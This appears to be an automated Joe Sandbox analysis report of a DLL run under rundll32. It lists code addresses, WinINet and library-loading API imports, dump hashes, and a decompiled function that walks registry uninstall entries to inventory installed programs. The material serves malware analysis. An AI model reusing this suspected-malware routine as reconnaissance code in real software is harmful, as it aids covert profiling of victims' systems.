0x7fef4737b2e
0x7fef4737b36
0x7fef4737b47
0x7fef4737b51
0x7fef4737b56
0x7fef4737b62
0x7fef4737b6a
0x7fef4737b7b
0x7fef4737b85
0x7fef4737b8c
0x7fef4737b98
0x7fef4737ba6
0x7fef4737bb3
0x7fef4737bb9
0x7fef4737bc5
0x7fef4737bcb
0x7fef4737bd7
0x7fef4737bdf
0x7fef4737be7
0x7fef4737bf9
0x7fef4737c0a
0x7fef4737c1e
0x7fef4737c3b
0x7fef4737c54
0x7fef4737c67
0x7fef4737c72
0x7fef4737c7c
0x7fef4737c81
0x7fef4737c8d
0x7fef4737c95
0x7fef4737ca8
0x7fef4737cb6
0x7fef4737cc0
0x7fef4737cc5
0x7fef4737cd1
0x7fef4737cd9
0x7fef4737cea
0x7fef4737cf4
0x7fef4737cf9
0x7fef4737d05
0x7fef4737d0d
0x7fef4737d15
0x7fef4737d2b
0x7fef4737d4d
0x7fef4737d62
0x7fef4737d73
0x7fef4737d87
0x7fef4737d99
0x7fef4737da0
0x7fef4737db3
0x7fef4737dbf
0x7fef4737dc6
0x7fef4737de4
0x7fef4737df2
0x7fef4737e05
0x7fef4737e10
0x7fef4737e16
0x7fef4737e22
0x7fef4737e2a
0x7fef4737e36
0x7fef4737e49
0x7fef4737e5e
0x7fef4737e7b
0x7fef4737e94
0x7fef4737e9c
0x7fef4737ea7
0x7fef4737eb2
0x7fef4737ebc
0x7fef4737ec1
0x7fef4737ecd
0x7fef4737ed5
0x7fef4737ee8
0x7fef4737ef6
0x7fef4737f00
0x7fef4737f05
0x7fef4737f11
0x7fef4737f19
0x7fef4737f2a
0x7fef4737f34
0x7fef4737f4a
0x7fef4737f53
0x7fef4737f61
0x7fef4737f7d
0x7fef4737f8a
0x7fef4737f8f
0x7fef4737f92
0x7fef4737f97
0x7fef4737f9f
0x7fef4737fa3
0x7fef4737fa6
0x7fef4737fb4
0x7fef4737fc2
0x7fef4737fc7
0x7fef4737fd7
0x7fef4737fe1
0x7fef4737fe6
0x7fef4737ff2
0x7fef4737ffa
0x7fef473800b
0x7fef4738015
0x7fef473801a
0x7fef4738026
0x7fef473802e
0x7fef473803f
0x7fef4738049
0x7fef473804e
0x7fef473805a
0x7fef4738062
0x7fef4738073
0x7fef473807d
0x7fef4738082
0x7fef473808e
0x7fef4738096
0x7fef47380a7
0x7fef47380b1
0x7fef47380b6
0x7fef47380c2
0x7fef47380ca
0x7fef47380da
0x7fef47380e6
0x7fef47380f6
0x7fef4738105
0x7fef473810f
0x7fef4738114
0x7fef4738120
0x7fef4738128
0x7fef4738139
0x7fef4738143
0x7fef4738148
0x7fef4738154
0x7fef473815c
0x7fef473816d
0x7fef4738177
0x7fef473817c
0x7fef4738188
0x7fef4738190
0x7fef47381a1
0x7fef47381ab
0x7fef47381b0
0x7fef47381bc
0x7fef47381c4
0x7fef47381d5
0x7fef47381df
0x7fef47381e4
0x7fef47381f0
0x7fef47381f8
0x7fef4738209
0x7fef4738213
0x7fef4738218
0x7fef4738224
0x7fef473822c
0x7fef473823d
0x7fef4738247
0x7fef473824e
0x7fef473825c
0x7fef4738266
0x7fef473826b
0x7fef4738277
0x7fef473827f
0x7fef4738290
0x7fef473829a
0x7fef473829f
0x7fef47382ab
0x7fef47382b3
0x7fef47382c4
0x7fef47382ce
0x7fef47382d3
0x7fef47382df
0x7fef47382e7
0x7fef47382f8
0x7fef4738302
0x7fef4738307
0x7fef4738313
0x7fef473831b
0x7fef473832c
0x7fef4738336
0x7fef473833b
0x7fef4738347
0x7fef4738352
0x7fef4738360
0x7fef4738376
0x7fef473837f
0x7fef4738397
0x7fef47383ae
0x7fef47383ba
0x7fef47383c0
0x7fef47383ca
0x7fef47383d8
0x7fef47383e9
0x7fef47383f5
0x7fef47383ff
0x7fef473840c
0x7fef4738415
0x7fef473841b
0x7fef4738427
0x7fef473842f
0x7fef473843f
0x7fef4738444
0x7fef473845a
0x7fef473846c
0x7fef473847a
0x7fef473848e
0x7fef473849a
0x7fef47384a9
0x7fef47384b6
0x7fef47384bd
0x7fef47384c8
0x7fef47384ca
0x7fef47384d0
0x7fef47384d7
0x7fef47384e9
0x7fef47384fd
0x7fef4738501
0x7fef4738510
0x7fef4738514
0x7fef4738520
0x7fef4738528
0x7fef4738538
0x7fef473854f
0x7fef473855f
0x7fef4738567
0x7fef473856f
0x7fef4738577
0x7fef473857f
0x7fef4738597
0x7fef47385b4
0x7fef47385b8
0x7fef47385c2
0x7fef47385ce
0x7fef47385d6
0x7fef47385e2
0x7fef47385ed
0x7fef47385fb
0x7fef4738600
0x7fef4738604
0x7fef4738608
0x7fef4738610
0x7fef4738625
0x7fef473862b
0x7fef4738637
0x7fef473863f
0x7fef4738647
0x7fef473865d
0x7fef4738673
0x7fef473868d
0x7fef4738696
0x7fef47386af
0x7fef47386cf
0x7fef47386e6
0x7fef47386e8
0x7fef47386f0
0x7fef47386f3
0x7fef47386ff
0x7fef473870d
0x7fef4738715
0x7fef4738736
0x7fef4738744
0x7fef4738752
0x7fef4738760
0x7fef4738765
0x7fef473877a
0x7fef4738780
0x7fef4738798
0x7fef47387a4
0x7fef47387a7
0x7fef47387b1
0x7fef47387b5
0x7fef47387c1
0x7fef47387c6
0x7fef47387cf
0x7fef47387e0
0x7fef47387ea
0x7fef47387f2
0x7fef47387fd
0x7fef4738808
0x7fef4738816
0x7fef473881b
0x7fef473882a
0x7fef4738838
0x7fef4738846
0x7fef4738854
0x7fef4738862
0x7fef4738870
0x7fef473887e
0x7fef473888c
0x7fef4738896
0x7fef47388a4
0x7fef47388ae
0x7fef47388b3
0x7fef47388bf
0x7fef47388c7
0x7fef47388d7
0x7fef47388e3
0x7fef47388f3
0x7fef4738902
0x7fef473890c
0x7fef4738911
0x7fef473891d
0x7fef4738925
0x7fef4738936
0x7fef4738940
0x7fef4738945
0x7fef4738951
0x7fef4738959
0x7fef473896a
0x7fef4738974
0x7fef4738979
0x7fef4738985
0x7fef473898d
0x7fef473899e
0x7fef47389a8
0x7fef47389ad
0x7fef47389b9
0x7fef47389c1
0x7fef47389d2
0x7fef47389dc
0x7fef47389e1
0x7fef47389ed
0x7fef47389f5
0x7fef4738a06
0x7fef4738a10
0x7fef4738a15
0x7fef4738a21
0x7fef4738a29
0x7fef4738a3a
0x7fef4738a44
0x7fef4738a5a
0x7fef4738a5f
0x7fef4738a79

APIs

LoadLibraryExW.KERNELBASE ref: 000007FEF47373B8
GetProcAddress.KERNEL32 ref: 000007FEF47373F8
ObtainUserAgentString.URLMON ref: 000007FEF4737415
FreeLibrary.KERNELBASE ref: 000007FEF473741A
InternetOpenA.WININET ref: 000007FEF473744D
InternetConnectA.WININET ref: 000007FEF4737537
InternetCloseHandle.WININET ref: 000007FEF473754E
LoadLibraryW.KERNEL32 ref: 000007FEF4737659
HttpOpenRequestA.WININET ref: 000007FEF473771B
InternetCloseHandle.WININET ref: 000007FEF4737735
InternetCloseHandle.WININET ref: 000007FEF4737740
GetProcAddress.KERNEL32 ref: 000007FEF47378E0
GetProcAddress.KERNEL32 ref: 000007FEF473798F
HttpSendRequestA.WININET ref: 000007FEF47379AF
GetLastError.KERNEL32 ref: 000007FEF47379D3
InternetCloseHandle.WININET ref: 000007FEF47379DE
InternetCloseHandle.WININET ref: 000007FEF47379E9
InternetCloseHandle.WININET ref: 000007FEF47379F4
FreeLibrary.KERNEL32 ref: 000007FEF47379FF
CreateDirectoryW.KERNEL32 ref: 000007FEF4737E10
FreeLibrary.KERNEL32 ref: 000007FEF4737FC7
std::ios_base::_Ios_base_dtor.LIBCPMT ref: 000007FEF47380F6
GetModuleHandleA.KERNEL32 ref: 000007FEF473837F
GetProcAddress.KERNEL32 ref: 000007FEF47383BA
InternetReadFile.WININET ref: 000007FEF47383E9
wcsstr.LIBCMT ref: 000007FEF473855F

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID: Internet$Handle$Close$Library$AddressProc$Free$HttpLoadOpenRequest$AgentConnectCreateDirectoryErrorFileIos_base_dtorLastModuleObtainReadSendStringUserstd::ios_base::_wcsstr
String ID:
API String ID: 331271292-0
Opcode ID: 27ed6140938413976fdf4c0210ba2335d2d725c1cd61b4aecd80bb494c05ec6e
Instruction ID: bd1d6e272a45664aeec71481df1b0a6d6fd36145b5809e52e76bc2fe1627c2fa
Opcode Fuzzy Hash: 27ed6140938413976fdf4c0210ba2335d2d725c1cd61b4aecd80bb494c05ec6e
Instruction Fuzzy Hash: 9BC2283260DAC6C0EBB1DB64E498BFAA3A1F785344F404125D69D47AEADF7DD588CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF4725EE0 Relevance: 27.1, APIs: 1, Strings: 14, Instructions: 840
COMMONCrypto

Download Yara Rule

C-Code - Quality: 58%

			E000007FE7FEF4725EE0(long long __rbx, intOrPtr* __rcx, long long __rdx, void* __r8) {
				void* __rdi;
				void* __rsi;
				void* __rbp;
				void* _t415;
				void* _t473;
				void* _t482;
				void* _t506;
				void* _t522;
				void* _t523;
				void* _t549;
				void* _t552;
				void* _t557;
				void* _t560;
				void* _t565;
				void* _t568;
				signed long long _t605;
				signed long long _t606;
				signed long long _t607;
				signed long long _t608;
				signed long long _t609;
				intOrPtr _t615;
				intOrPtr* _t620;
				signed long long _t621;
				signed long long _t622;
				signed long long _t623;
				signed long long _t631;
				signed long long _t665;
				intOrPtr* _t690;
				signed long long _t818;
				signed long long _t819;
				intOrPtr* _t820;
				void* _t824;
				void* _t825;
				signed long long _t826;
				intOrPtr _t838;
				void* _t839;
				void* _t840;
				void* _t842;
				signed long long _t860;
				intOrPtr* _t880;
				void* _t881;
				signed long long _t882;

				_t828 = __r8;
				_t824 = _t825 - 0x2a0;
				_t826 = _t825 - 0x3a0;
				 *((long long*)(_t824 - 0x50)) = 0xfffffffe;
				 *((long long*)(_t826 + 0x3f8)) = __rbx;
				_t605 =  *0xf4777530; // 0xf9634ebbaa1d
				_t606 = _t605 ^ _t826;
				 *(_t824 + 0x290) = _t606;
				_t881 = __r8;
				_t820 = __rdx;
				 *((long long*)(_t824 - 0x60)) = __rdx;
				_t880 = __rcx;
				r14d = 0;
				 *(_t826 + 0x50) = 0;
				if (__rcx == 0) goto 0xf4726ede;
				 *(_t824 + 0x258) = _t606;
				 *(_t824 + 0x260) = _t606;
				 *(_t824 + 0x268) = _t606;
				E000007FE7FEF4732840(__rbx, __rcx, _t824 + 0x258); // executed
				_t631 =  *(_t824 + 0x258);
				if (_t631 ==  *(_t824 + 0x260)) goto 0xf4726ed2;
				_t607 = _t606 | 0xffffffff;
				asm("o16 nop [eax+eax]");
				 *((long long*)(_t824 - 0x70)) = 7;
				 *(_t824 - 0x78) = _t818;
				 *((short*)(_t826 + 0x78)) = 0;
				r8d = 0;
				E000007FE7FEF4728440(_t631, _t826 + 0x78, _t631, _t820, _t824, _t828, _t607);
				r8d =  *__rcx;
				E000007FE7FEF4732740(_t631, __rcx, _t826 + 0x78); // executed
				_t882 = _t607;
				if (_t607 == 0) goto 0xf4726eba;
				 *((long long*)(_t826 + 0x70)) = 7;
				 *(_t826 + 0x68) = _t607;
				 *((short*)(_t826 + 0x58)) = 0;
				_t21 = _t818 + 0xe; // 0xf
				r8d = _t21;
				E000007FE7FEF4728E10(_t631, _t826 + 0x58, L"SystemComponent", _t820, _t828);
				E000007FE7FEF47329C0(_t882, _t824 + 0x270, _t826 + 0x58); // executed
				if ((0 |  *((intOrPtr*)(_t824 + 0x280)) != _t607) == 0) goto 0xf4726035;
				_t640 =  >=  ?  *((void*)(_t824 + 0x270)) : _t824 + 0x270;
				if (E000007FE7FEF4741E7C(_t607,  >=  ?  *((void*)(_t824 + 0x270)) : _t824 + 0x270, _t824 + 0x270) == 1) goto 0xf4726037;
				if (0 == 1) goto 0xf4726eac;
				 *((long long*)(_t826 + 0x48)) = 7;
				 *(_t826 + 0x40) = _t818;
				 *((short*)(_t826 + 0x30)) = 0;
				_t34 = _t818 + 0x10; // 0x10
				r8d = _t34;
				E000007FE7FEF4728E10(_t631, _t826 + 0x30, L"WindowsInstaller", _t820, _t826 + 0x58);
				E000007FE7FEF47329C0(_t882, _t824 + 0x158, _t826 + 0x30); // executed
				r14d = r14d | 0x00000001;
				 *(_t826 + 0x50) = r14d;
				if ((0 |  *((intOrPtr*)(_t607 + 0x10)) != _t607) == 0) goto 0xf47260fd;
				 *((long long*)(_t824 + 0x1d0)) = 7;
				 *(_t824 + 0x1c8) = _t818;
				 *(_t824 + 0x1b8) = 0;
				_t45 = _t818 + 0x10; // 0x10
				r8d = _t45;
				E000007FE7FEF4728E10(_t631, _t824 + 0x1b8, L"WindowsInstaller", _t820, _t826 + 0x30);
				E000007FE7FEF47329C0(_t882, _t824 + 0x118, _t824 + 0x1b8); // executed
				r14d = r14d | 0x00000002;
				if ( *((long long*)(_t607 + 0x18)) - 8 < 0) goto 0xf47260eb;
				_t608 =  *_t607;
				if (E000007FE7FEF4741E7C(_t608, _t608, _t824 + 0x118) != 1) goto 0xf47260fd;
				dil = 0;
				goto 0xf4726100;
				dil = 1;
				if ((r14b & 0x00000002) == 0) goto 0xf472613b;
				r14d = r14d & 0xfffffffd;
				if ( *((long long*)(_t824 + 0x130)) - 8 < 0) goto 0xf4726120;
				E000007FE7FEF4741974( *((intOrPtr*)(_t824 + 0x118)));
				 *((long long*)(_t824 + 0x130)) = 7;
				 *(_t824 + 0x128) = _t608;
				 *((short*)(_t824 + 0x118)) = 0;
				if ((r14b & 0x00000001) == 0) goto 0xf472615b;
				r14d = r14d & 0xfffffffe;
				if ( *((long long*)(_t824 + 0x170)) - 8 < 0) goto 0xf472615b;
				E000007FE7FEF4741974( *((intOrPtr*)(_t824 + 0x158)));
				if (dil == 0) goto 0xf4726824;
				 *(_t824 + 0x238) = _t608;
				 *(_t824 + 0x240) = _t608;
				 *(_t824 + 0x248) = _t608;
				 *(_t824 + 0x250) = _t608;
				asm("xorps xmm0, xmm0");
				asm("movdqu [ebp+0x238], xmm0");
				 *(_t824 + 0x248) = _t818;
				E000007FE7FEF4758C74(1, _t608, _t631);
				 *(_t824 + 0x250) = _t608;
				E000007FE7FEF4729650(_t631, _t824 + 0x238, _t820, _t824, 0xf476ae1e); // executed
				 *((long long*)(_t826 + 0x48)) = 7;
				 *(_t826 + 0x40) = _t818;
				 *((short*)(_t826 + 0x30)) = 0;
				_t71 = _t818 + 0xb; // 0xb
				r8d = _t71;
				E000007FE7FEF4728E10(_t631, _t826 + 0x30, L"ReleaseType", _t820, 0xf476ae1e);
				E000007FE7FEF47329C0(_t882, _t824 + 0xf8, _t826 + 0x30); // executed
				 *((long long*)(_t824 + 0x130)) = 7;
				 *(_t824 + 0x128) = _t818;
				 *((short*)(_t824 + 0x118)) = 0;
				_t78 = _t818 + 0xe; // 0xe
				r8d = _t78;
				E000007FE7FEF4728E10(_t631, _t824 + 0x118, L"DisplayVersion", _t820, _t826 + 0x30);
				E000007FE7FEF47329C0(_t882, _t824 + 0x1d8, _t824 + 0x118); // executed
				 *((long long*)(_t826 + 0x48)) = 7;
				 *(_t826 + 0x40) = _t818;
				 *((short*)(_t826 + 0x30)) = 0;
				_t85 = _t818 + 0xb; // 0xb
				r8d = _t85;
				E000007FE7FEF4728E10(_t631, _t826 + 0x30, L"DisplayName", _t820, _t824 + 0x118);
				E000007FE7FEF47329C0(_t882, _t824 + 0x198, _t826 + 0x30); // executed
				 *((long long*)(_t824 + 0x130)) = 7;
				 *(_t824 + 0x128) = _t818;
				 *((short*)(_t824 + 0x118)) = 0;
				_t92 = _t818 + 0xf; // 0xf
				r8d = _t92;
				E000007FE7FEF4728E10(_t631, _t824 + 0x118, L"InstallLocation", _t820, _t826 + 0x30);
				E000007FE7FEF47329C0(_t882, _t824 + 0x138, _t824 + 0x118); // executed
				 *((long long*)(_t826 + 0x48)) = 7;
				 *(_t826 + 0x40) = _t818;
				 *((short*)(_t826 + 0x30)) = 0;
				_t99 = _t818 + 0xb; // 0xb
				r8d = _t99;
				E000007FE7FEF4728E10(_t631, _t826 + 0x30, L"DisplayIcon", _t820, _t824 + 0x118);
				E000007FE7FEF47329C0(_t882, _t824 + 0x178, _t826 + 0x30); // executed
				_t838 =  *((intOrPtr*)(_t631 + 0x18));
				if (_t838 - 8 < 0) goto 0xf472630c;
				goto 0xf472630f;
				_t609 =  *((intOrPtr*)(_t631 + 0x10));
				if (_t838 - 8 < 0) goto 0xf4726322;
				goto 0xf4726325;
				 *(_t826 + 0x20) = 0x10;
				_t415 = E000007FE7FEF47299C0(_t631, _t631, _t631 + _t609 * 2, _t818, _t820, _t824 + 0x238); // executed
				if (_t415 == 1) goto 0xf472650a;
				 *((long long*)(_t824 + 0x130)) = 7;
				 *(_t824 + 0x128) = _t818;
				 *((short*)(_t824 + 0x118)) = 0;
				r8d = 0xd;
				E000007FE7FEF4728E10(_t631, _t824 + 0x118, L"ParentKeyName", _t820, _t838);
				_t839 = _t824 + 0x118;
				_t665 = _t882; // executed
				E000007FE7FEF47329C0(_t665, _t824 + 0x158, _t839); // executed
				r14d = r14d | 0x00000004;
				if ((0 |  *((intOrPtr*)(_t609 + 0x10)) != _t665) != 0) goto 0xf472650a;
				_t667 =  >=  ?  *((void*)(_t824 + 0xf8)) : _t824 + 0xf8;
				r8d = 0xf;
				_t860 =  *(_t824 + 0x108);
				_t840 =  <  ? _t860 : _t839;
				if (_t840 == 0) goto 0xf4726403;
				_t549 =  *((intOrPtr*)( >=  ?  *((void*)(_t824 + 0xf8)) : _t824 + 0xf8)) - (L"Security Update" & 0x0000ffff);
				if (_t549 != 0) goto 0xf47263ed;
				if (_t549 != 0) goto 0xf47263d6;
				goto 0xf4726403;
				r8d = 1;
				r8d =  <  ? r10d : r8d;
				goto 0xf472640a;
				r8d = 0;
				if (r8d != 0) goto 0xf472641d;
				_t552 = _t860 - 0xf;
				if (_t552 < 0) goto 0xf4726425;
				if ((0 | _t552 != 0x00000000) == 0) goto 0xf472650a;
				_t670 =  >=  ?  *((void*)(_t824 + 0xf8)) : _t824 + 0xf8;
				r8d = 0xd;
				_t842 =  <  ? _t860 : _t840 - 1;
				if (_t842 == 0) goto 0xf472647b;
				_t557 =  *((intOrPtr*)( >=  ?  *((void*)(_t824 + 0xf8)) : _t824 + 0xf8)) - (L"Update Rollup" & 0x0000ffff);
				if (_t557 != 0) goto 0xf472646c;
				if (_t557 != 0) goto 0xf4726455;
				goto 0xf472647b;
				r8d = 1;
				r8d =  <  ? r10d : r8d;
				goto 0xf472647e;
				r8d = 0;
				if (r8d != 0) goto 0xf4726491;
				_t560 = _t860 - 0xd;
				if (_t560 < 0) goto 0xf4726495;
				if ((0 | _t560 != 0x00000000) == 0) goto 0xf472650a;
				_t613 =  >=  ?  *((void*)(_t824 + 0xf8)) : _t824 + 0xf8;
				r8d = 6;
				_t844 =  <  ? _t860 : _t842 - 1;
				if (( <  ? _t860 : _t842 - 1) == 0) goto 0xf47264eb;
				_t565 =  *((intOrPtr*)( >=  ?  *((void*)(_t824 + 0xf8)) : _t824 + 0xf8)) - (L"Hotfix" & 0x0000ffff);
				if (_t565 != 0) goto 0xf47264dc;
				if (_t565 != 0) goto 0xf47264c5;
				goto 0xf47264eb;
				r8d = 1;
				r8d =  <  ? r10d : r8d;
				goto 0xf47264ee;
				r8d = 0;
				_t615 = r8d;
				if (r8d != 0) goto 0xf4726501;
				_t568 = _t860 - 6;
				if (_t568 < 0) goto 0xf4726505;
				if ((0 | _t568 != 0x00000000) == 0) goto 0xf472650a;
				dil = 0;
				goto 0xf472650d;
				dil = 1;
				if ((r14b & 0x00000004) == 0) goto 0xf472652d;
				r14d = r14d & 0xfffffffb;
				if ( *((long long*)(_t824 + 0x170)) - 8 < 0) goto 0xf472652d;
				E000007FE7FEF4741974( *((intOrPtr*)(_t824 + 0x158)));
				if (dil != 0) goto 0xf47266fa;
				 *((long long*)(_t824 + 0x230)) = 7;
				 *(_t824 + 0x228) = _t818;
				 *((short*)(_t824 + 0x218)) = 0;
				_t141 = _t818 + 0xf; // 0xf
				r8d = _t141;
				E000007FE7FEF4728E10(_t631, _t824 + 0x218, L"UninstallString", _t820, ( <  ? _t860 : _t842 - 1) - 1);
				E000007FE7FEF47329C0(_t882, _t824 + 0x158, _t824 + 0x218); // executed
				if ((0 |  *(_t824 + 0x168) != _t615) == 0) goto 0xf47266e2;
				if ( *(_t824 + 0x1a8) != _t615) goto 0xf47266e2;
				 *(_t826 + 0x50) = _t824 + 0x118;
				 *((long long*)(_t824 - 0x58)) = _t824 + 0x1b8;
				 *((long long*)(_t824 - 0x68)) = _t824 + 0x1f8;
				 *((long long*)(_t824 + 0x130)) = 7;
				 *(_t824 + 0x128) = _t818;
				 *((short*)(_t824 + 0x118)) = 0;
				_t883 = _t882 | 0xffffffff;
				r8d = 0;
				E000007FE7FEF4728440(_t631, _t824 + 0x118, _t824 + 0x178, _t820, _t824, _t824 + 0x218, _t882 | 0xffffffff);
				 *((long long*)(_t824 + 0x1d0)) = 7;
				 *(_t824 + 0x1c8) = _t818;
				 *(_t824 + 0x1b8) = 0;
				r8d = 0;
				E000007FE7FEF4728440(_t631, _t824 + 0x1b8, _t824 + 0x138, _t820, _t824, _t824 + 0x218, _t883);
				 *((long long*)(_t824 + 0x210)) = 7;
				 *(_t824 + 0x208) = _t818;
				 *((short*)(_t824 + 0x1f8)) = 0;
				r8d = 0;
				E000007FE7FEF4728440(_t631, _t824 + 0x1f8, _t824 + 0x1d8, _t820, _t824, _t824 + 0x218, _t883);
				 *((long long*)(_t824 - 0x70)) = 7;
				 *(_t824 - 0x78) = _t818;
				 *((short*)(_t826 + 0x78)) = 0;
				r8d = 0;
				E000007FE7FEF4728440(_t631, _t826 + 0x78, _t824 + 0x198, _t820, _t824, _t824 + 0x218, _t883);
				 *((intOrPtr*)(_t826 + 0x28)) =  *_t880;
				 *(_t826 + 0x20) = _t824 + 0x118;
				E000007FE7FEF4724700(_t824 - 0x20, _t826 + 0x78, _t824 + 0x1f8, _t824 + 0x1b8);
				E000007FE7FEF4726F10(E000007FE7FEF4725E10(_t631, _t824 + 0x70, _t824 + 0x118, _t820, _t824 + 0x1b8),  *(_t824 + 0x1a8) != _t615, _t631, _t881, _t824 + 0x118); // executed
				E000007FE7FEF4724F50(_t631, _t824 - 0x20);
				if ( *((long long*)(_t824 + 0x170)) - 8 < 0) goto 0xf47266fc;
				E000007FE7FEF4741974( *((intOrPtr*)(_t824 + 0x158)));
				goto 0xf47266fc;
				if ( *((long long*)(_t824 + 0x190)) - 8 < 0) goto 0xf4726712;
				E000007FE7FEF4741974( *((intOrPtr*)(_t824 + 0x178)));
				 *((long long*)(_t824 + 0x190)) = 7;
				 *(_t824 + 0x188) = _t818;
				 *((short*)(_t824 + 0x178)) = 0;
				if ( *((long long*)(_t824 + 0x150)) - 8 < 0) goto 0xf4726741;
				E000007FE7FEF4741974( *((intOrPtr*)(_t824 + 0x138)));
				 *((long long*)(_t824 + 0x150)) = 7;
				 *(_t824 + 0x148) = _t818;
				 *((short*)(_t824 + 0x138)) = 0;
				if ( *((long long*)(_t824 + 0x1b0)) - 8 < 0) goto 0xf4726770;
				E000007FE7FEF4741974( *((intOrPtr*)(_t824 + 0x198)));
				 *((long long*)(_t824 + 0x1b0)) = 7;
				 *(_t824 + 0x1a8) = _t818;
				 *((short*)(_t824 + 0x198)) = 0;
				if ( *((long long*)(_t824 + 0x1f0)) - 8 < 0) goto 0xf472679f;
				E000007FE7FEF4741974( *((intOrPtr*)(_t824 + 0x1d8)));
				 *((long long*)(_t824 + 0x1f0)) = 7;
				 *(_t824 + 0x1e8) = _t818;
				 *((short*)(_t824 + 0x1d8)) = 0;
				if ( *((long long*)(_t824 + 0x110)) - 8 < 0) goto 0xf47267ce;
				E000007FE7FEF4741974( *((intOrPtr*)(_t824 + 0xf8)));
				 *((long long*)(_t824 + 0x110)) = 7;
				 *(_t824 + 0x108) = _t818;
				 *((short*)(_t824 + 0xf8)) = 0;
				E000007FE7FEF4728D90(_t631, _t824 + 0x238, _t820);
				_t690 =  *(_t824 + 0x250);
				if (_t690 == 0) goto 0xf4726eae;
				_t620 =  *_t690;
				 *((intOrPtr*)(_t620 + 0x10))();
				if (_t620 == 0) goto 0xf4726eae;
				_t621 =  *_t620;
				 *_t621();
				goto 0xf4726eae;
				 *((long long*)(_t824 + 0x150)) = 7;
				 *(_t824 + 0x148) = _t818;
				 *((short*)(_t824 + 0x138)) = 0;
				r8d = 0;
				E000007FE7FEF4728E10(_t631, _t824 + 0x138, 0xf476ad38, _t820, _t824 + 0x1f8);
				 *((long long*)(_t824 + 0x110)) = 7;
				 *(_t824 + 0x108) = _t818;
				 *((short*)(_t824 + 0xf8)) = 0;
				r8d = 0;
				E000007FE7FEF4728E10(_t631, _t824 + 0xf8, 0xf476ad38, _t820, _t824 + 0x1f8);
				 *((long long*)(_t826 + 0x70)) = 7;
				 *(_t826 + 0x68) = _t818;
				 *((short*)(_t826 + 0x58)) = 0;
				r8d = 0;
				E000007FE7FEF4728440(_t631, _t826 + 0x58, _t631, _t820, _t824, _t824 + 0x1f8, _t824 + 0x000001b8 | 0xffffffff);
				E000007FE7FEF4727560(_t631, _t824 + 0x118, _t826 + 0x58);
				 *((long long*)(_t826 + 0x48)) = 7;
				 *(_t826 + 0x40) = _t818;
				 *((short*)(_t826 + 0x30)) = 0;
				r8d = 0;
				E000007FE7FEF4728440(_t631, _t826 + 0x30, _t824 + 0x118, _t820, _t824, _t824 + 0x1f8, _t824 + 0x000001b8 | 0xffffffffffffffff);
				r8d =  *_t820;
				E000007FE7FEF4732740(_t631, _t820, _t826 + 0x30); // executed
				_t819 = _t621;
				if (_t621 == 0) goto 0xf4726a20;
				E000007FE7FEF4727C70(_t824 - 0x48, L"ProductName", _t824 + 0x1f8);
				E000007FE7FEF47329C0(_t819, _t824 + 0x158, _t621); // executed
				_t622 = _t824 + 0x138;
				if (_t622 == _t621) goto 0xf4726977;
				if ( *((long long*)(_t824 + 0x150)) - 8 < 0) goto 0xf472694d;
				E000007FE7FEF4741974( *((intOrPtr*)(_t824 + 0x138)));
				 *((long long*)(_t824 + 0x150)) = 7;
				 *(_t824 + 0x148) = _t622;
				 *((short*)(_t824 + 0x138)) = 0;
				E000007FE7FEF4728120(_t631, _t824 + 0x138, _t621, _t621);
				if ( *((long long*)(_t824 + 0x170)) - 8 < 0) goto 0xf472698d;
				E000007FE7FEF4741974( *((intOrPtr*)(_t824 + 0x158)));
				E000007FE7FEF4727C70(_t824 - 0x48, L"ProductIcon", _t621);
				E000007FE7FEF47329C0(_t819, _t824 + 0x158, _t622); // executed
				_t623 = _t824 + 0xf8;
				if (_t623 == _t622) goto 0xf47269fe;
				if ( *((long long*)(_t824 + 0x110)) - 8 < 0) goto 0xf47269d4;
				E000007FE7FEF4741974( *((intOrPtr*)(_t824 + 0xf8)));
				 *((long long*)(_t824 + 0x110)) = 7;
				 *(_t824 + 0x108) = _t623;
				 *((short*)(_t824 + 0xf8)) = 0;
				E000007FE7FEF4728120(_t631, _t824 + 0xf8, _t622, _t622);
				if ( *((long long*)(_t824 + 0x170)) - 8 < 0) goto 0xf4726a14;
				E000007FE7FEF4741974( *((intOrPtr*)(_t824 + 0x158)));
				E000007FE7FEF4724F10(_t819); // executed
				_t823 =  *((intOrPtr*)(_t824 - 0x60));
				 *((long long*)(_t826 + 0x48)) = 7;
				 *(_t826 + 0x40) = _t819;
				 *((short*)(_t826 + 0x30)) = 0;
				_t262 = _t819 + 0xb; // 0xb
				r8d = _t262;
				E000007FE7FEF4728E10(_t631, _t826 + 0x30, L"DisplayName",  *((intOrPtr*)(_t824 - 0x60)), _t622);
				E000007FE7FEF47329C0(_t883, _t824 + 0x1b8, _t826 + 0x30); // executed
				 *((long long*)(_t824 + 0x190)) = 7;
				 *(_t824 + 0x188) = _t819;
				 *((short*)(_t824 + 0x178)) = 0;
				r8d = 0;
				E000007FE7FEF4728E10(_t631, _t824 + 0x178, 0xf476ad38,  *((intOrPtr*)(_t824 - 0x60)), _t826 + 0x30);
				 *(_t826 + 0x20) = _t819;
				_t473 = E000007FE7FEF4728B30(_t506, _t631, _t824 + 0x138,  *(_t824 + 0x148));
				r8d = 0;
				if (_t473 == 0) goto 0xf4726ace;
				E000007FE7FEF4728440(_t631, _t824 + 0x178, _t824 + 0x138,  *((intOrPtr*)(_t824 - 0x60)), _t824,  *(_t824 + 0x148), 0xffffffffffffffff);
				 *((long long*)(_t826 + 0x70)) = 7;
				 *(_t826 + 0x68) = _t819;
				 *((short*)(_t826 + 0x58)) = 0;
				r8d = 0xe;
				E000007FE7FEF4728E10(_t631, _t826 + 0x58, L"DisplayVersion",  *((intOrPtr*)(_t824 - 0x60)),  *(_t824 + 0x148));
				E000007FE7FEF47329C0(_t883, _t824 + 0x1f8, _t826 + 0x58); // executed
				E000007FE7FEF4727C70(_t824 - 0x48, L"InstallLocation", _t826 + 0x58);
				E000007FE7FEF47329C0(_t883, _t824 + 0x218, _t623); // executed
				E000007FE7FEF4727C70(_t824 + 0x158, L"DisplayIcon", _t623);
